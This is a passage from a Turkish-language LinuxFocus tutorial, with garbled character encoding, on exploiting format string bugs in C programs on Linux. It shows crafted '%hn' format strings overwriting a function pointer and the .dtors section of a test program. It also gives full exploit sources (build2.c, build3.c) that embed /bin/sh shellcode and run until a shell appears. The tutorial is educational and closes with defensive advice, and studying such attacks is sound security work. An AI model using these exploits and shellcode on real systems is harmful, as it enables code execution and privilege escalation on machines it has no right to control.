>>./vuln `./build 0xbffff5d4 0x8048664 3` adr : -1073744428 (bffff5d4) val : 134514276 (8048664) valh: 2052 (0804) vall: 34404 (8664) [Öõÿ¿Ôõÿ¿%.2044x%3$hn%.32352x%4$hn] (33) argv2 = 0xbffff819 helloWorld() = 0x8048644 accessForbidden() = 0x8048664 before : ptrf() = 0x8048644 (0xbffff5b4) buffer = [Öõÿ¿Ôõÿ¿00000000000000000000d000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000 00000000] (127) after : ptrf() = 0x8048644 (0xbffff5b4) Welcome in "helloWorld"Hi� bir�ey olmad�! Ancak, �nceki �rne�imize g�re daha uzun katar kulland���m�zdan dolay� y���t de�i�ti (
ptrf
, 0xbffff5d4
den
0xbffff5b4
gitti). Dolay�s�yla de�erleri ayarlamam�z gerekmektedir:
>>./vuln `./build 0xbffff5b4 0x8048664 3` adr : -1073744460 (bffff5b4) val : 134514276 (8048664) valh: 2052 (0804) vall: 34404 (8664) [¶õÿ¿´õÿ¿%.2044x%3$hn%.32352x%4$hn] (33) argv2 = 0xbffff819 helloWorld() = 0x8048644 accessForbidden() = 0x8048664 before : ptrf() = 0x8048644 (0xbffff5b4) buffer = [¶õÿ¿´õÿ¿0000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 0000000000000000] (127) after : ptrf() = 0x8048664 (0xbffff5b4) You shouldn't be here "accesForbidden"Biz kazand�k!!!
Bi�imlendirme hatalar� sayesinde istedi�imiz yere yazmam�z�n m�mk�n oldu�un
g�rm��t�k. �imdi, .dtors
b�l�m� ile ilgili bir kullan�m g�rece�iz.
gcc
ile derlenen programlarda .ctors
ad�nda bir yaratma ve bir de .dtors
ad�nda yoketme
b�l�m� yarat�lmaktad�r. Her iki b�l�mde de s�ras�yla main()
fonksiyonuna giri�te ve ��k��ta �al��t�r�lacak fonksiyonlar
i�in i�aret�iler bulunmaktad�r.
/* cdtors */ void start(void) __attribute__ ((constructor)); void end(void) __attribute__ ((destructor)); int main() { printf("in main()\n"); } void start(void) { printf("in start()\n"); } void end(void) { printf("in end()\n"); }Basit bir �rnek programla i�leyi�in nas�l oldu�unu g�rebilmekteyiz:
>>gcc cdtors.c -o cdtors >>./cdtors in start() in main() in end()Bu iki b�l�m�n herbiri ayn� �ekilde olu�turulmu�tur:
>>objdump -s -j .ctors cdtors cdtors: file format elf32-i386 .ctors b�l�m�n�n i�eri�i: 804949c ffffffff dc830408 00000000 ............ >>objdump -s -j .dtors cdtors cdtors: file format elf32-i386 .dtors b�l�m�n�n i�eri�i: 80494a8 ffffffff f0830408 00000000 ............G�sterilen adreslerin bizim fonksiyonlar�n adreslerine kar��l�k geldi�ini kontrol ettik (dikkat :
objdump
komutu adres de�erlerini k���k indian format�nda vermektedir):
>>objdump -t cdtors | egrep "start|end" 080483dc g F .text 00000012 start 080483f0 g F .text 00000012 endDolay�s�yla, bu b�l�mler
0xffffffff
ve
0x00000000
ile s�n�rland�r�lan b�lgede ba�ta veya sonunda
�al��t�r�lacak fonksiyonlar�n adreslerini i�ermektedir.
�imdi bunu vuln
program� �zerine bir uygulayal�m.
�lk �nce bu b�l�mlerin bellekteki yerlerini bulmam�z gerekecektir.
�kili (binary) program elinizde oldu�unda bunu yapmak ger�ekten �ok kolay ;-)
Daha �nce de oldu�u gibi sadece objdump
kullan�n:
>> objdump -s -j .dtors vuln vuln: file format elf32-i386 .dtors b�l�m�n�n i�eri�i: 8049844 ffffffff 00000000 ........��te burada ! �imdi gereksinim duydu�umuz her�eye sahibiz.
Bu kullan�m�n�n amac�, iki b�l�mden birinde bulunan adres de�erini
�al��t�rmak istedi�imiz fonksiyonun adresi ile
de�i�tirmektedir. E�er, bu b�l�mler bo� ise, o zaman
b�l�m�n sonunu belirten 0x00000000
de�erini de�i�tirmemiz
yeterli olacakt�r. Program, 0x00000000
de�erini bulamayaca�� i�in
bir sonraki adres de�erini alacakt�r, ki bu b�y�k bir olas�l�kla
yanl�� olacakt�r ve segmentation fault (b�l�mlendirme hatas�)
almam�z� sa�layacakt�r.
Ger�ekte, tek ilgin� olan b�l�m yoketme (.dtors
)
b�l�m�d�r. ��nk� yaratma (.ctors
) fonkisyonundan
�nce bir �ey �al��t�racak zaman�m�z yoktur. Genelde, ba�lang��
(0xffffffff
) adresinden 4 byte sonra bulunan adresi
de�i�tirmek yeterli olacakt�r:
0x00000000
de�erini
de�i�tirece�iz;�rne�imize geri d�nelim ve .dtors
b�l�m�ndeki
0x8049848=0x8049844+4
adresinde bulunan 0x00000000
de�eri, adresi 0x8048664
olan
accesForbidden()
fonksiyonunun adresi ile de�i�tirelim:
>./vuln `./build 0x8049848 0x8048664 3` adr : 134518856 (8049848) val : 134514276 (8048664) valh: 2052 (0804) vall: 34404 (8664) [JH%.2044x%3$hn%.32352x%4$hn] (33) argv2 = bffff694 (0xbffff51c) helloWorld() = 0x8048648 accessForbidden() = 0x8048664 before : ptrf() = 0x8048648 (0xbffff434) buffer = [JH0000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 000] (127) after : ptrf() = 0x8048648 (0xbffff434) Welcome in "helloWorld" You shouldn't be here "accesForbidden" Segmentation fault (core dumped)Her�ey d�zg�n �al��maktad�r,
main()
, helloWorld()
ve sonra da ��k��. Daha sonra yoketme fonksiyonu �al��t�rmaktad�r.
.dtors
b�l�m� accesForbidden()
fonksiyonun adresi ile ba�lamaktad�r. Ondan sonra herhangi bir ger�ek
adres de�eri bulunmad���nda coredump olay� ger�ekle�mektedir.
Burada basit kullan�mlar g�rd�k. Ayn� prensipleri kullanarak,
kabuk elde edebiliriz. Bunun i�in ya kabu�u argv[]
parametre olark vererek ya da �evre de�i�keni kullanarak ger�ekle�tirebiliriz.
Yapmam�z gereken, .dtors
b�l�m�ne uygun adres de�erini
yerle�tirmektir.
�u anda bildiklerimiz:
Ger�ekte programlar, �rne�imizde oldu�u gibi g�zel (adres de�erlerini belirten) de�ildir. Bunun i�in, belle�e bir kabuk koymay� ve daha sonra onun ger�ek adresini veren bir y�ntem tan�taca��z.
Buradaki fikir exec*()
fonksiyonunun �zyenilemeli olarak
�al��t�rmaya dayanmaktad�r:
/* argv.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> main(int argc, char **argv) { char **env; char **arg; int nb = atoi(argv[1]), i; env = (char **) malloc(sizeof(char *)); env[0] = 0; arg = (char **) malloc(sizeof(char *) * nb); arg[0] = argv[0]; arg[1] = (char *) malloc(5); snprintf(arg[1], 5, "%d", nb-1); arg[2] = 0; /* printings */ printf("*** argv %d ***\n", nb); printf("argv = %p\n", argv); printf("arg = %p\n", arg); for (i = 0; i<argc; i++) { printf("argv[%d] = %p (%p)\n", i, argv[i], &argv[i]); printf("arg[%d] = %p (%p)\n", i, arg[i], &arg[i]); } printf("\n"); /* recall */ if (nb == 0) exit(0); execve(argv[0], arg, env); }Kendini �zyenilemeli olarak
nb+1
defa �al��t�racak
giri� de�eri nb
tamsay�s�d�r :
>>./argv 2 *** argv 2 *** argv = 0xbffff6b4 arg = 0x8049828 argv[0] = 0xbffff80b (0xbffff6b4) arg[0] = 0xbffff80b (0x8049828) argv[1] = 0xbffff812 (0xbffff6b8) arg[1] = 0x8049838 (0x804982c) *** argv 1 *** argv = 0xbfffff44 arg = 0x8049828 argv[0] = 0xbfffffec (0xbfffff44) arg[0] = 0xbfffffec (0x8049828) argv[1] = 0xbffffff3 (0xbfffff48) arg[1] = 0x8049838 (0x804982c) *** argv 0 *** argv = 0xbfffff44 arg = 0x8049828 argv[0] = 0xbfffffec (0xbfffff44) arg[0] = 0xbfffffec (0x8049828) argv[1] = 0xbffffff3 (0xbfffff48) arg[1] = 0x8049838 (0x804982c)
arg
ve argv
'nin adres de�erlerinin
ilk �al��t�rmadan sonra de�i�medi�ini hemen fark etmekteyiz.
Bu �zelli�i daha sonra kullanaca��z. build
program�m�z�
vuln
program�n� �al��t�rmadan �nce kendi kendini �al��t�racak
�ekilde de�i�tiriyoruz. B�ylece, argv
'nin tam adresini ve kabu�un
adresini elde etmekteyiz:
/* build2.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> char* build(unsigned int addr, unsigned int value, unsigned int where) { //build.c'deki ayn� fonksiyon } int main(int argc, char **argv) { char *buf; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; if(argc < 3) return EXIT_FAILURE; if (argc == 3) { fprintf(stderr, "Calling %s ...\n", argv[0]); buf = build(strtoul(argv[1], NULL, 16), /* adres */ &shellcode, atoi(argv[2])); /* uzakl�k */ fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); execlp(argv[0], argv[0], buf, &shellcode, argv[1], argv[2], NULL); } else { fprintf(stderr, "Calling ./vuln ...\n"); fprintf(stderr, "sc = %p\n", argv[2]); buf = build(strtoul(argv[3], NULL, 16), /* adres */ argv[2], atoi(argv[4])); /* uzakl�k */ fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); execlp("./vuln","./vuln", buf, argv[2], argv[3], argv[4], NULL); } return EXIT_SUCCESS; }
Buradaki p�f nokta, programa verilen parametre say�s�na g�re
ne �al��t�raca��m�z� bilmemizdedir. Ba�lamak i�in yapmam�z gereken
de�i�tirece�imiz adres de�eri ile uzakl�k bilgilerini
build2
program�na vermektir. Ard���k �al��t�rmalar sonucunda
gerekli de�eri program kendisi hesaplayaca��ndan, art�k bu de�eri
vermemiz gerekmiyor.
Ba�armak i�in build2
ve vuln
programlar�n�n ard���k �al��t�rmalar� s�ras�ndaki bellek
yap�s�n� oldu�u gibi korumam�z gerekmektedir (bu nedenledir
ki ayn� bellek yap�s�n� kullans�n diye build()
fonksiyon
olarak kullan�yoruz):
>>./build2 0xbffff634 3 Calling ./build2 ... adr : -1073744332 (bffff634) val : -1073744172 (bffff6d4) valh: 49151 (bfff) vall: 63188 (f6d4) [6öÿ¿4öÿ¿%.49143x%3$hn%.14037x%4$hn] (34) Calling ./vuln ... sc = 0xbffff88f adr : -1073744332 (bffff634) val : -1073743729 (bffff88f) valh: 49151 (bfff) vall: 63631 (f88f) [6öÿ¿4öÿ¿%.49143x%3$hn%.14480x%4$hn] (34) 0 0xbffff867 1 0xbffff86e 2 0xbffff891 3 0xbffff8bf 4 0xbffff8ca helloWorld() = 0x80486c4 accessForbidden() = 0x80486e8 before : ptrf() = 0x80486c4 (0xbffff634) buffer = [6öÿ¿4öÿ¿000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000 00000000000] (127) after : ptrf() = 0xbffff88f (0xbffff634) Segmentation fault (core dumped)
Neden �al��mad�? �ki �al��t�rma s�ras�nda ayn� bellek yap�s�n�
kullanmam�z gerekmektedir demi�tik, ancak bunu uygulamad�k!
argv[0]
(program�n ad�) de�i�ti. �lk �nce program�n ad�
build2
(6 byte) idi ve daha sonra vuln
oldu (4 byte). Aradaki vark 2 byte'd�r, bu yukar�daki �rnekte
de fark edebilece�iniz de�erdir. build2
ikinci
defa �a��r�lmas� s�ras�nda kabu�un adresi sc=0xbffff88f
dir, ancak, vuln
deki argv[2]
de�eri
20xbffff891
, yani bizim 2 byte. Bunu ��zmek i�in
program�n ad�n� build2
den 4 karakterden olu�an
bui2
olarak de�i�tirmek yeterli olacakt�r:
>>cp build2 bui2 >>./bui2 0xbffff634 3 Calling ./bui2 ... adr : -1073744332 (bffff634) val : -1073744156 (bffff6e4) valh: 49151 (bfff) vall: 63204 (f6e4) [6öÿ¿4öÿ¿%.49143x%3$hn%.14053x%4$hn] (34) Calling ./vuln ... sc = 0xbffff891 adr : -1073744332 (bffff634) val : -1073743727 (bffff891) valh: 49151 (bfff) vall: 63633 (f891) [6öÿ¿4öÿ¿%.49143x%3$hn%.14482x%4$hn] (34) 0 0xbffff867 1 0xbffff86e 2 0xbffff891 3 0xbffff8bf 4 0xbffff8ca helloWorld() = 0x80486c4 accessForbidden() = 0x80486e8 before : ptrf() = 0x80486c4 (0xbffff634) buffer = [6öÿ¿4öÿ¿0000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000 000000000000000] (127) after : ptrf() = 0xbffff891 (0xbffff634) bash$
Yine kazand�k : bu �ekilde daha iyi �al��maktad�r ;-)
ptrf
'nin g�sterdi�i adres de�erini kabu�un adresini
g�sterecek �ekilde de�i�tirdik. Tabii ki bu ancak y���t �al��t�r�labilir
ise yapmak m�mk�n olmaktad�r.
Bi�imlendirme katarlar� her yere yazabilece�imizi sa�lamaktad�r, o zaman
.dtors
b�l�m�ne yoketme fonksiyonu ekleyelim :
>>objdump -s -j .dtors vuln vuln: file format elf32-i386 Contents of section .dtors: 80498c0 ffffffff 00000000 ........ >>./bui2 80498c4 3 Calling ./bui2 ... adr : 134518980 (80498c4) val : -1073744156 (bffff6e4) valh: 49151 (bfff) vall: 63204 (f6e4) [ÆÄ%.49143x%3$hn%.14053x%4$hn] (34) Calling ./vuln ... sc = 0xbffff894 adr : 134518980 (80498c4) val : -1073743724 (bffff894) valh: 49151 (bfff) vall: 63636 (f894) [ÆÄ%.49143x%3$hn%.14485x%4$hn] (34) 0 0xbffff86a 1 0xbffff871 2 0xbffff894 3 0xbffff8c2 4 0xbffff8ca helloWorld() = 0x80486c4 accessForbidden() = 0x80486e8 before : ptrf() = 0x80486c4 (0xbffff634) buffer = [ÆÄ000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000 0000000000000000] (127) after : ptrf() = 0x80486c4 (0xbffff634) Welcome in "helloWorld" bash$ exit exit >>
Yoketme b�l�m�ne kendi ��k�� fonksiyonumuzu koydu�umuz i�in
coredump
olu�mad�. Bunun nedeni bizim kabuk program�nda
exit(0)
fonksiyonunu �a��ran k�sm�n olmas�d�r.
En sonunda, �evre de�i�keni arac�l�yla kabuk
elde etmemizi sa�layan build3.c
program�n� hediye olarak veriyoruz:
/* build3.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> char* build(unsigned int addr, unsigned int value, unsigned int where) { //build.c'deki ayn� fonksiyon } int main(int argc, char **argv) { char **env; char **arg; unsigned char *buf; unsigned char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; if (argc == 3) { fprintf(stderr, "Calling %s ...\n", argv[0]); buf = build(strtoul(argv[1], NULL, 16), /* adresse */ &shellcode, atoi(argv[2])); /* offset */ fprintf(stderr, "%d\n", strlen(buf)); fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); printf("%s", buf); arg = (char **) malloc(sizeof(char *) * 3); arg[0]=argv[0]; arg[1]=buf; arg[2]=NULL; env = (char **) malloc(sizeof(char *) * 4); env[0]=&shellcode; env[1]=argv[1]; env[2]=argv[2]; env[3]=NULL; execve(argv[0],arg,env); } else if(argc==2) { fprintf(stderr, "Calling ./vuln ...\n"); fprintf(stderr, "sc = %p\n", environ[0]); buf = build(strtoul(environ[1], NULL, 16), /* adresse */ environ[0], atoi(environ[2])); /* offset */ fprintf(stderr, "%d\n", strlen(buf)); fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); printf("%s", buf); arg = (char **) malloc(sizeof(char *) * 3); arg[0]=argv[0]; arg[1]=buf; arg[2]=NULL; execve("./vuln",arg,environ); } return 0; }
Tekrar s�ylemek gerekirse, ortam y���t �zerinde oldu�undan
bellek yap�s�n� de�i�tirmememiz �ok �nemlidir (de�i�kenlerin ve
programa verilen parametrelerin yerlerinin de�i�tirilmesi gibi).
�kili (derlenmi�) program�n ad�, vuln
ile ayn� byte
say�s�na sahip olmas� gerekmektedir.
De�erleri atamak i�in extern char
**environ
envrensel de�i�kenler kullanmay� kararla�t�rd�k :
environ[0]
: kabuk adresini i�ermekte;environ[1]
: de�i�tirece�imiz adres de�erini i�ermektedir;environ[2]
: uzakl�k de�erini i�ermektedir.printf()
, syslog()
, gibi fonksiyonilar�
�a��r�rken "%s"
gibi bi�imlendirme katarlar�n�n yaz�lmas�
demektir. E�er, mutlaka kullanmak gerekirse, o zaman kullan�c�n�n girmi�
oldu�u de�erleri �ok iyi denetlemek gerekecektir.
exec*()
ile ilgili p�f noktadan),
bizi y�reklendirmesinden ve bi�imlendirme katarlar� ve onlar�n kullan�m� ile ilgi
yazm�� oldu�u makaleden dolay� Pascal Kalou Bouchareine'e te�ekk�r eder.
|
G�rsely�re sayfalar�n�n bak�m�, LinuxFocus Edit�rleri taraf�ndan yap�lmaktad�r
© Frédéric Raynal, Christophe Blaess, Christophe Grenier, FDL LinuxFocus.org Buray� klikleyerek hatalar� rapor edebilir ya da yorumlar�n�z� LinuxFocus'a g�nderebilirsiniz |
�eviri bilgisi:
|
2001-08-02, generated by lfparser version 2.17